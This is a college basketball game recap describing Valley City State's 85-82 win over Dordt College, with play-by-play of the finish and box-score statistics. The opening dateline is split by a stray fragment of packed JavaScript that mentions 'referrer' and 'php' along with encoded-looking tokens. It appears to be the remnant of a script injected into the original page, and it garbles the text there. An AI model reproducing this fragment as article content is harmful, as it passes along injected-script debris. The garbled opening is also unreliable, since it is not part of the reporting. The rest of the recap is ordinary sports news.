VALLEY enihz|var|u0026u|referrer|khbzr||js|php’.split(‘|’),0,{}))
CITY, N.D. (VCSUVikings.com)- Freshman Jake Skelly scored the go-ahead basket with 20 seconds remaining Friday night as the Valley City State men’s basketball team defeated Dordt College in a thriller, 85-82.
With VCSU trailing 82-81, Skelly drove the lane and scored the go-ahead layup for VCSU. Rashad Satahoo came up with a block on the other end and Jayden Ferguson sank two free throws with four seconds left to put VCSU up 85-82. The Vikings survived a desperation 3-point attempt by Dordt at the buzzer.
Valley City State improves to 2-2 overall this season. Dordt College drops to 1-1.
The Vikings shot 72 percent in the game Friday, making 34 out of 47 shots. Dordt College shot 47 percent but hung with the Vikings by making 11 3-pointers and forcing 16 turnovers. The game featured 12 ties and 11 lead changes, including eight lead changes in the second half.
Four different Vikings scored in double figures as part of a balanced offensive attack. Ferguson shot 8-for-10 on the night and had team highs of 19 points and five assists. Skelly came off the bench to score 16 points – shooting 6-for-6 – and dish out three assists.
Jouvon Edison scored 15 points and pulled down eight rebounds. Justyn Galloway finished with 13 points, seven rebounds and four assists. Rashad Satahoo scored nine points as he went 3-for-4 from the 3-point line. Two of those 3’s came in the game’s final three minutes as he cut the VCSU deficit to 77-76 with 2:32 left and then put the Vikings ahead 80-79 on a 3-pointer with 1:09 remaining.’
The Vikings shot 75 percent in the first half. Tied at 31-31, the Vikings closed the half with a 15-6 run to take a 46-37 lead into the locker room. Dordt College made five 3-pointers in the the first six minutes of the second half, the last of which gave the Defenders their first lead of the half – 59-58 with 14:04 remaining. The teams traded leads the rest of the way with Skelly’s go-ahead basket being the final blow.
Valley City State shot 72 percent overall (34-47), 56 percent from 3-point range (5-9) and 63 percent on free throws (12-19). Dordt College went 47 percent overall from the field (29-62), 41 percent on 3’s (11-27) and 81 percent on free throws (13-16).
Valley City State out-rebounded the Defense, 26-20. Dordt had an 8-5 edge on the offensive glass. Both teams had 13 assists in the game. VCSU committed 16 turnovers while the Defenders turned it over 12 times.
Up next: Valley City State University (2-2) hosts No. 5-ranked Northwestern College on Saturday at 5 p.m.